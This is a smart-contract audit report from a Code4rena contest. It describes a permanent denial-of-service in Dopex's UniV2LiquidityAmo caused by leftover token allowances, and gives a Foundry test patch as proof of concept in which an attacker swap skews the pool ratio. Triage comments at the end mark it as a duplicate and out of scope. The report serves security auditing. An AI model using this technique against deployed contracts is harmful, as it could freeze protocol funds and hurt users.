uniswap addLiquidity and swap may be permanent DOS

[code423n4]

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/amo/UniV2LiquidityAmo.sol#L200-L207

Vulnerability details

Impact

When invoke addLiquidity in uniswap amo contract, tokens will not necessarily be spent out, and the remaining tokens will cause allowance to be non-zero.
When invoke addLiquidity or swap again, safeApprove will revert, resulting in DOS. and DOS is permanent since approveContractToSpend cannot reset allowance to zero.
The owner can only withdraw funds through emergencyWithdraw and redeploy the contract.

Proof of Concept

Apply the following patch, which contains fixes for POC and import issues.
Note that the effective attack point here is not that the owner entered the wrong token amount proportion when calling addLiquidity, but that the malicious attacker can directly manipulate the uniswap pool and carry out operations such as swap to disrupt the token amount proportion.

diff --git a/contracts/mocks/MockRdpxEthPriceOracle.sol b/contracts/mocks/MockRdpxEthPriceOracle.sol
index 889378f..a2de335 100644
--- a/contracts/mocks/MockRdpxEthPriceOracle.sol
+++ b/contracts/mocks/MockRdpxEthPriceOracle.sol
@@ -2,7 +2,7 @@
 pragma solidity 0.8.19;
 
 // Interfaces
-import { IUniswapV2Pair } from "../uniswap_v2/IUniswapV2Pair.sol";
+import { IUniswapV2Pair } from "../uniswap_V2/IUniswapV2Pair.sol";
 
 // Libraries
 import { UniswapV2Library } from "../uniswap_V2/libraries/UniswapV2Library.sol";
diff --git a/tests/rdpxV2-core/Periphery.t.sol b/tests/rdpxV2-core/Periphery.t.sol
index aed7de4..1f89cb0 100644
--- a/tests/rdpxV2-core/Periphery.t.sol
+++ b/tests/rdpxV2-core/Periphery.t.sol
@@ -7,8 +7,8 @@ import { ERC721Holder } from "@openzeppelin/contracts/token/ERC721/utils/ERC721H
 import { Setup } from "./Setup.t.sol";
 
 // Contracts
-import { UniV2LiquidityAMO } from "contracts/amo/UniV2LiquidityAMO.sol";
-import { UniV3LiquidityAMO } from "contracts/amo/UniV3LiquidityAMO.sol";
+import { IUniswapV2Router, UniV2LiquidityAMO } from "contracts/amo/UniV2LiquidityAmo.sol";
+import { UniV3LiquidityAMO } from "contracts/amo/UniV3LiquidityAmo.sol";
 
 // Interfaces
 import { IUniswapV3Factory } from "contracts/uniswap_V3/IUniswapV3Factory.sol";
@@ -20,6 +20,70 @@ contract Periphery is ERC721Holder, Setup {
   UniV2LiquidityAMO uniV2LiquidityAMO;
   UniV3LiquidityAMO uniV3LiquidityAMO;
 
+  function testAddLiquidityDOS() public {
+    uniV2LiquidityAMO = new UniV2LiquidityAMO();
+
+    // set addresses
+    uniV2LiquidityAMO.setAddresses(
+      address(rdpx),
+      address(weth),
+      address(pair),
+      address(rdpxV2Core),
+      address(rdpxPriceOracle),
+      address(factory),
+      address(router)
+    );
+
+    // give amo premission to access rdpxV2Core reserve tokens
+
+    rdpxV2Core.addAMOAddress(address(uniV2LiquidityAMO));
+
+    rdpxV2Core.approveContractToSpend(
+      address(rdpx),
+      address(uniV2LiquidityAMO),
+      type(uint256).max
+    );
+
+    rdpxV2Core.approveContractToSpend(
+      address(weth),
+      address(uniV2LiquidityAMO),
+      type(uint256).max
+    );
+
+    rdpx.transfer(address(rdpxV2Core), 50e18);
+    weth.transfer(address(rdpxV2Core), 11e18);
+
+
+    // ------------- Test flow -------------
+
+    // add liquidity normally
+    uniV2LiquidityAMO.addLiquidity(5e18, 1e18, 0, 0);
+    uniV2LiquidityAMO.addLiquidity(5e18, 1e18, 0, 0);
+
+    // Attacker changes pool token ratio
+    address[] memory path;
+    path = new address[](2);
+    path[0] = address(rdpx);
+    path[1] = address(weth);
+    IUniswapV2Router(router).swapExactTokensForTokens(
+      1 ether,
+      0,
+      path,
+      address(this),
+      block.timestamp
+    );
+
+    uniV2LiquidityAMO.addLiquidity(5e18, 1e18, 0, 0);
+    // safeApprove revert, DOS addLiquidity and swap
+    vm.expectRevert();
+    uniV2LiquidityAMO.addLiquidity(5e18, 1e18, 0, 0);
+    vm.expectRevert();
+    uniV2LiquidityAMO.swap(1 ether, 0, false);
+    // approveContractToSpend revert, no way to reset allowance
+    vm.expectRevert();
+    uniV2LiquidityAMO.approveContractToSpend(address(rdpx), address(router), 0);
+  }
+
   function testReLpContract() public {
     testV2Amo();
 
diff --git a/tests/rdpxV2-core/Setup.t.sol b/tests/rdpxV2-core/Setup.t.sol
index 23e4260..bb74afe 100644
--- a/tests/rdpxV2-core/Setup.t.sol
+++ b/tests/rdpxV2-core/Setup.t.sol
@@ -30,7 +30,7 @@ import { DpxEthToken } from "contracts/dpxETH/DpxEthToken.sol";
 
 // Peripheral contracts
 import { RdpxDecayingBonds } from "contracts/decaying-bonds/RdpxDecayingBonds.sol";
-import { ReLPContract } from "contracts/relp/ReLPContract.sol";
+import { ReLPContract } from "contracts/reLP/ReLPContract.sol";
 
 // Interfaces
 import { ICurveFactory } from "contracts/interfaces/ICurveFactory.sol";

Tools Used

Foundry

Recommended Mitigation Steps

allowance should be reset before or after each call to addLiquidity

Assessed type

DoS

[c4-pre-sort]

bytes032 marked the issue as duplicate of #928

[c4-pre-sort]

bytes032 marked the issue as duplicate of #1782

[c4-pre-sort]

bytes032 marked the issue as sufficient quality report

[c4-judge]

GalloDaSballo marked the issue as unsatisfactory:
Out of scope